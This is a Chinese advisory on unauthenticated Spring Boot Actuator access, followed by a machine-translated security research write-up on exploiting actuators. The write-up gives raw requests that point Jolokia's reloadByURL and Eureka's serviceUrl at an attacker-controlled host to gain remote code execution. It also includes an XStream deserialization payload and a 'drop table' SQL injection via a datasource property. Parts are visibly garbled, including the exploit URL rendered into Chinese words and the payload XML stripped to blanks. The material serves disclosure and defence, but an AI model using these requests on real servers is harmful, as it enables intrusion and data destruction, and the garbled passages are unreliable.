【漏洞预警】Spring Boot Actuator未授权访问远程代码执行漏洞

Spring Boot Actuator漏洞描述

• 事件

2019年2月28日，阿里云云盾应急响应中心监测到有国外安全研究人员披露Spring Boot Actuator模块中间件存在未授权访问远程代码执行漏洞。

• 漏洞描述

Actuator是Spring Boot提供的服务监控和管理中间件，默认配置会出现接口未授权访问，部分接口会泄露网站流量信息和内存信息等，使用Jolokia库特性甚至可以远程执行任意代码，获取服务器权限。

• 漏洞评级

严重

• 影响版本

全版本且无安全配置

• 安全建议

  • 禁用所有接口，将配置改成：endpoints.enabled = false

  • 或者引入spring-boot-starter-security依赖：

    org.springframework.boot
    spring-boot-starter-security

• 开启security功能，配置访问权限验证，类似配置如下：

management.port=8099
management.security.enabled=true
security.user.name=xxxxx
security.user.password=xxxxxx

• 原文地址：https://bbs.aliyun.com/read/592982.html

---

二、基本原理

Spring Boot Framework包含许多称为执行器的功能，可帮助您在将Web应用程序投入生产时监视和管理Web应用程序。它们旨在用于审计，运行状况和指标收集，它们还可能在配置错误时打开服务器的隐藏门。

当Spring Boot应用程序运行时，它会自动将多个端点（例如'/ health'，'/ trace'，'/ beans'，'/ env'等）注册到路由进程中。对于Spring Boot 1 - 1.4，它们无需身份验证即可访问，从而导致严重的安全问题。从Spring 1.5版开始，默认情况下，除“/ health”和“/ info”之外的所有端点都被视为敏感和安全，但应用程序开发人员通常会禁用此安全性。

• 以下Actuator端点可能具有安全隐患，从而导致可能的漏洞：

  • / dump - 显示线程转储（包括堆栈跟踪）
  • / trace - 显示最后几条HTTP消息（可能包含会话标识符）
  • / logfile - 输出日志文件的内容
  • / shutdown - 关闭应用程序
  • / mappings - 显示所有MVC控制器映射
  • / env - 提供对配置环境的访问
  • / restart - 重新启动应用程序

对于Spring 1x，它们在根URL下注册，并且在2x中它们移动到“/ actuator /”基本路径。

• 开发：

大多数执行器仅支持GET请求，只是显示敏感的配置数据，但其中一些对于shell猎人来说特别有趣：

• 1.通过'/ jolokia'执行远程代码

如果Jolokia库位于目标应用程序类路径中，Spring Boot会在'/ jolokia'执行器端点下自动公开它。Jolokia允许对所有已注册的MBean进行HTTP访问，并且旨在执行您可以使用JMX执行的相同操作。可以使用URL列出所有可用的MBean操作：

http://127.0.0.1:8090/jolokia/list

同样，大多数MBeans操作只是揭示了一些系统数据，但其中一个特别有趣：

image

Logback库提供的“ reloadByURL ”操作允许我们从外部URL重新加载日志记录配置。只需导航到以下内容即可触发：

HTTP：//本地主机：8090 /椒/ EXEC / ch.qos.logback.classic：名称=默认情况下，类型= ch.qos.logback.classic.jmx.JMXConfigurator / reloadByURL / HTTP：/ /artsploit.com！ /logback.xml

那么，我们为什么要关心日志配置呢？主要是因为两件事：

• 1. Config具有XML格式，当然，Logback在启用外部实体的情况下对其进行解析，因此它很容易受到盲目的XXE攻击。
• 2. Logback配置具有“从JNDI获取变量”功能。在XML文件中，我们可以包含一个标签，如' '，name属性将传递给DirContext.lookup（ ） 方法。如果我们可以在.lookup（）函数中提供任意名称，我们甚至不需要XXE或HeapDump，因为它为我们提供了完整的远程执行代码。

这个怎么运作：

• 1.攻击者请求上述URL执行'qos.logback.classic.jmx.JMXConfigurator'类提供的'reloadByURL'函数。

• 2.“reloadByURL”函数从http://artsploit.com/logback.xml下载新配置并将其解析为Logback配置。此恶意配置应具有以下内容：

• 3.在易受攻击的服务器上解析此文件时，它会创建与“env-entry-name”参数值中指定的攻击者控制的LDAP服务器的连接，从而导致JNDI解析。恶意LDAP服务器可以返回具有“引用”类型的对象，以触发在目标应用程序上执行所提供的字节码。这篇MicroFocus研究论文很好地解释了JNDI攻击。在新的JNDI开发技术（在我们的博客如前所述）也工作在这里，因为Tomcat是在Spring框架启动默认的应用程序服务器。

• 2.通过'/ env'配置修改

如果Spring Cloud Libraries在类路径中，则'/ env'端点允许您修改Spring环境属性。注释为“ @ConfigurationProperties”的所有bean 都可以修改和重新绑定。我们可以控制的许多（但不是全部）属性列在'/ configprops'执行器端点上。实际上，它们有很多，但是我们需要修改什么才能实现某些目标。花了几天玩他们后我们发现了这个：

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

此属性将Eureka serviceURL修改为任意值。Eureka Server通常用作发现服务器，几乎所有Spring Cloud应用程序都在其中注册并向其发送状态更新。如果幸运的话，目标类路径中的Eureka-Client <1.8.7（通常包含在Spring Cloud Netflix中），则可以利用其中的XStream反序列化漏洞。您需要做的就是通过'/ env' 将'eureka.client.serviceUrl.defaultZone'属性设置为您的服务器URL（http://artsploit.com/n/xstream），然后调用'/ refresh'端点。之后，您的服务器应该使用以下内容提供XStream有效内容：

  
    
      
        
          
            
              
                
                  
                  
                    
                      /Applications/Calculator.app/Contents/MacOS/Calculator
                    
                    false
                  
                
                
                  
                    java.lang.ProcessBuilder
                    start
                    
                  
                  foo
                
                foo
              
              
            
            
            
          
        
      
    
  

此XStream有效负载是Marshalsec研究中仅限ImageIO JDK的小工具链的略微修改版本。这里唯一的区别是使用LinkedHashSet来触发'jdk.nashorn.internal.objects.NativeString.hashCode（）'方法。原始有效负载利用java.lang.Map来实现相同的行为，但Eureka的XStream配置有一个自定义的地图转换器，使其无法使用。上面的有效负载根本不使用Maps，可用于实现远程执行代码而无需额外的约束。

使用Spring Actuators，即使您无法访问内部Eureka服务器，也可以利用此漏洞; 您只需要一个“/ env”端点。

• 其他有用的设置：

spring.datasource.tomcat.validationQuery = drop + table + users - 允许您指定任何SQL查询，它将自动对当前数据库执行。它可以是任何语句，包括插入，更新或删除。

image.png

spring.datasource.tomcat.url = jdbc：hsqldb：https：// localhost：3002 / xdb - 允许您修改当前的JDBC连接字符串。

最后一个看起来很棒，但问题是当运行数据库连接的应用程序已经建立时，只更新JDBC字符串没有任何效果。希望在这种情况下还有另一个属性可以帮助我们：

spring.datasource.tomcat.max-active = 777

我们在这里可以使用的技巧是增加与数据库的同时连接数。因此，我们可以更改JDBC连接字符串，增加连接数，然后向应用程序发送许多请求以模拟重负载。在负载下，应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。我在Mysql本地测试了这种技术，它就像一个魅力。

image.png

除此之外，还有其他一些看起来很有趣的属性，但实际上并没有什么用处：

spring.datasource.url - 数据库连接字符串（仅用于第一个连接）

spring.datasource.jndiName - 数据库JNDI字符串（仅用于第一个连接）

spring.datasource.tomcat.dataSourceJNDI - 数据库JNDI字符串（根本不使用）

spring.cloud.config.uri = http://artsploit.com/ - spring cloud config url（app启动后没有任何效果，只使用初始值。）

除非调用'/ restart'端点，否则这些属性没有任何效果。此端点重新启动所有ApplicationContext，但默认情况下禁用它。

还有很多其他有趣的属性，但大多数属性在更改后不会立即生效。

NB在Spring Boot 2x中，通过'/ env'端点修改属性的请求格式略有不同（它使用的是json格式），但想法是一样的。

易受攻击的应用程序示例：

如果要在本地测试此漏洞，我在Github页面上创建了一个简单的Spring Boot应用程序。所有有效负载都应该在那里工作，除了数据库设置（除非你配置它）。

黑匣子发现：

可以在此处找到默认执行器的完整列表：https：//github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt。请记住，应用程序开发人员可以使用@Endpoint批注创建自己的端点。

• 原文地址：https://www.veracode.com/blog/research/exploiting-spring-boot-actuators